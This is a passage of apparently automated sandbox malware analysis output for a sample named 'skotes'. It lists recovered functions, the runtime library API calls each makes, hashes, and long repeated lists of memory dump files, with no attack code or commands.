Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Zb,mb
API String ID: 1423051803-2221940238
Opcode ID: a16333376a24443088a7ab94174d304db0f99c4c3296d1d0e84f523f5331dcca
Instruction ID: 8b8cd7f1041821e8374a9868f1834b63c3878d5dcb87a3c6576a8360fc87449f
Opcode Fuzzy Hash: a16333376a24443088a7ab94174d304db0f99c4c3296d1d0e84f523f5331dcca
Instruction Fuzzy Hash: CF51C172A00216ABDB259F64DC41EFBB7ABDF85750F154229FD04A7241EF30EC118AE4

Function 0061DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0061DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0061DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0061DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0061DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0061DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0061DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0061DE74

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 89e7eb4d3b8df3522f9ba7266a4200e55522aa404f8344f5376614a4be57a3fb
Instruction ID: cae1ba0e079721d5546c6cc466c7c4971ada1ee5ca988039330c77047a29645a
Opcode Fuzzy Hash: 89e7eb4d3b8df3522f9ba7266a4200e55522aa404f8344f5376614a4be57a3fb
Instruction Fuzzy Hash: B841BB30A042449ADF98EFA484657ED7BA76F11304F1C44ADE9416F3C3CB358E89CB6A

Function 0061E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0061E7D7

Part of subcall function 0061E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0061E577
Part of subcall function 0061E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0061E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0061E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0061E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0061E879
Concurrency::location::_Assign.LIBCMT ref: 0061E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0061E8B5

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 49c2242e54ed22fd318e42ee88b115940517417a0593e172b4037f94053e0c80
Instruction ID: 319d74c19c999488c8856236cd37e5ee4107481da9bab4db57f8a4a963d7761d
Opcode Fuzzy Hash: 49c2242e54ed22fd318e42ee88b115940517417a0593e172b4037f94053e0c80
Instruction Fuzzy Hash: 34411879A002149FDB45EF64C495AEDB7B6FF48310F1880A9DD499B382DB70A981CB91

Function 00606E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00606ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00606F22
std::_Rethrow_future_exception.LIBCPMT ref: 00606F32
__Mtx_unlock.LIBCPMT ref: 00606FD5
__Mtx_unlock.LIBCPMT ref: 006070DB
__Mtx_unlock.LIBCPMT ref: 00607116

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 71b32854d49f307995d4538900e99f9746006b1c6b7e0dc8fbfbd75c1fd85e08
Instruction ID: b759aa7d73e52d0b41d7286f73cc48a5eef0dde26d650f317f9da622cb11f849
Opcode Fuzzy Hash: 71b32854d49f307995d4538900e99f9746006b1c6b7e0dc8fbfbd75c1fd85e08
Instruction Fuzzy Hash: 23C1D0B0D443099BDB28DFA4C845BAFBBB6EF05310F044A6DE816976D1EB35A904CB61

Function 006144DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00614538
ListArray.LIBCONCRT ref: 0061456C
Hash.LIBCMT ref: 006145D5
Hash.LIBCMT ref: 006145E5

Part of subcall function 00619C41: std::bad_exception::bad_exception.LIBCMT ref: 00619C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0061474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006147A4

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: b13c395c0534db3f111b7c93e979ddf25eba103a89f6a7a5ef926673bd1f1a3b
Instruction ID: abcbe4407bbb0b8022e8ebb186f6820fa68bd070a73c46afea21569f1df1c4f8
Opcode Fuzzy Hash: b13c395c0534db3f111b7c93e979ddf25eba103a89f6a7a5ef926673bd1f1a3b
Instruction Fuzzy Hash: D7819FB0A11B22BAD748DF74C845BDAFBA9BF09710F14021EF428D7281CBB4A560CBD0

Function 0062CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0062CC66

Strings

vb, xrefs: 0062CBE1

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
